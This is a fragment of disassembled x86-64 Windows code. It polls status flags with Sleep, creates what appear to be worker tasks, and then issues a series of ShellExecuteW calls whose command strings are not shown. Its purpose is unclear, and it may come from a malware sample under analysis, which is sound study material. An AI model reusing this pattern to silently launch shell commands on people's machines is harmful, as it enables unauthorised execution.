je 0x561b73
mov rax, qword [0x00590880]
cmp byte [rax + 0x124], 0
je 0x561bd3
mov rax, qword [0x00590880]
mov byte [rax + 0x150], 1
jmp 0x561c0b
mov ecx, 0x2710
call sub.kernel32.dll_Sleep
xor ecx, ecx
xor edx, edx
lea r8, [0x0055dda0]
xor r9, r9
mov dword [rsp + 0x20], 0
mov rax, qword [0x00590798]
mov qword [rsp + 0x28], rax
call fcn.004108d0
test rax, rax
je 0x561bc9
jmp 0x561c0b
mov ecx, 0x2710
call sub.kernel32.dll_Sleep
mov rax, qword [0x00590880]
cmp byte [rax + 0x150], 0
je 0x561c01
mov rax, qword [0x00590880]
cmp byte [rax + 0x124], 0
je 0x561c45
mov rax, qword [0x00590880]
mov byte [rax + 0x14f], 1
jmp 0x561c71
mov ecx, 0x2710
call sub.kernel32.dll_Sleep
xor ecx, ecx
xor edx, edx
lea r8, [0x0055dc30]
xor r9, r9
mov dword [rsp + 0x20], 0
mov rax, qword [0x00590798]
mov qword [rsp + 0x28], rax
call fcn.004108d0
test rax, rax
je 0x561c3b
mov ecx, 0x1388
call sub.kernel32.dll_Sleep
mov rax, qword [0x00590880]
cmp byte [rax + 0x124], 0
je 0x561ca5
mov rax, qword [0x00590880]
mov byte [rax + 0x14d], 1
jmp 0x561cdd
mov ecx, 0x2710
call sub.kernel32.dll_Sleep
xor ecx, ecx
xor edx, edx
lea r8, [0x0055d8c0]
xor r9, r9
mov dword [rsp + 0x20], 0
mov rax, qword [0x00590798]
mov qword [rsp + 0x28], rax
call fcn.004108d0
test rax, rax
je 0x561c9b
jmp 0x561cdd
mov ecx, 0x3e8
call sub.kernel32.dll_Sleep
mov rax, qword [0x00590880]
cmp byte [rax + 0x14c], 0
je 0x561cd3
mov rax, qword [0x00590880]
cmp byte [rax + 0x14d], 0
je 0x561cd3
mov rax, qword [0x00590880]
cmp byte [rax + 0x14e], 0
je 0x561cd3
mov rax, qword [0x00590880]
cmp byte [rax + 0x14f], 0
je 0x561cd3
call fcn.00547ca0
mov rax, qword [0x00590880]
cmp byte [rax + 0x130], 0
je 0x561e4e
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x00562a66]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x00562ac4]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x005629d8]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x0056296c]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x00562a2e]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562912]
lea r9, [0x0056291a]
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
mov ecx, 0x4e20
call sub.kernel32.dll_Sleep
mov rax, qword [0x00590880]
cmp byte [rax + 0x12f], 0
je 0x561e63
call fcn.0055f000
mov rax, qword [0x00590880]
mov rcx, qword [rax + 0x118]
call sub.kernel32.dll_CloseHandle
mov rax, qword [0x00590880]
cmp byte [rax + 0x125], 0
je 0x561eb6
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562b42]
lea r9, [0x00562b54]
lea rax, [0x00562b6e]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
mov rax, qword [0x00590880]
cmp byte [rax + 0x126], 0
je 0x561f28
lea rcx, [rbp + 0x40]
xor edx, edx
call fcn.00409920
lea rcx, [rbp + 0x48]
mov edx, 3
lea r8, [0x00562b8c]
mov r9, qword [rbp + 0x40]
lea rax, [0x00562bd8]
mov qword [rsp + 0x20], rax
call fcn.00412c40
mov rcx, qword [rbp + 0x48]
call fcn.004126f0
xor ecx, ecx
lea rdx, [0x00562908]
lea r8, [0x00562b70]
mov r9, rax
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call sub.shell32.dll_ShellExecuteW
nop
lea rcx, [rbp + 0x40]
mov edx, 7
call fcn.00410bb0
lea rcx, [rbp + 0x78]
call fcn.00410b70
lea rcx, [rbp + 0x80]
call fcn.00410ad0
lea rcx, [rbp + 0x88]
call fcn.00410b70
lea rcx, [rbp + 0x90]
call fcn.00410b20
lea rcx, [rbp + 0x98]
mov edx, 7
call fcn.00410bb0
lea rcx, [rbp + 0xd0]
call fcn.00410b20
lea rcx, [rbp + 0xd8]
mov edx, 2
call fcn.00410bb0
lea rcx, [rbp + 0xe8]
call fcn.00410b20
lea rcx, [rbp + 0xf0]
mov edx, 0xc
call fcn.00410bb0
lea rcx, [rbp + 0x150]
call fcn.00410b20
lea rcx, [rbp + 0x158]
mov edx, 6
call fcn.00410bb0
lea rcx, [rbp + 0x188]
call fcn.00410b70
lea rcx, [rbp + 0x190]
call fcn.00410ad0
lea rcx, [rbp + 0x198]
call fcn.00410b20
lea rcx, [rbp + 0x1a0]
mov edx, 2
call fcn.00410bb0
lea rcx, [rbp + 0x1b0]
call fcn.00410b70
lea rcx, [rbp + 0x1b8]
call fcn.00410ad0
lea rcx, [rbp + 0x1c0]
call fcn.00410b20
lea rcx, [rbp + 0x1c8]
mov edx, 2
call fcn.00410bb0
lea rcx, [rbp + 0x1d8]
call fcn.00410b70
lea rcx, [rbp + 0x1e0]
call fcn.00410ad0
lea rcx, [rbp + 0x1e8]
call fcn.00410b20
lea rcx, [rbp + 0x1f0]
mov edx, 0x14
call fcn.00410bb0
call fcn.00410630
jmp 0x56207a
lea rsp, [rbp + 0x298]
pop rbx
pop rbp
ret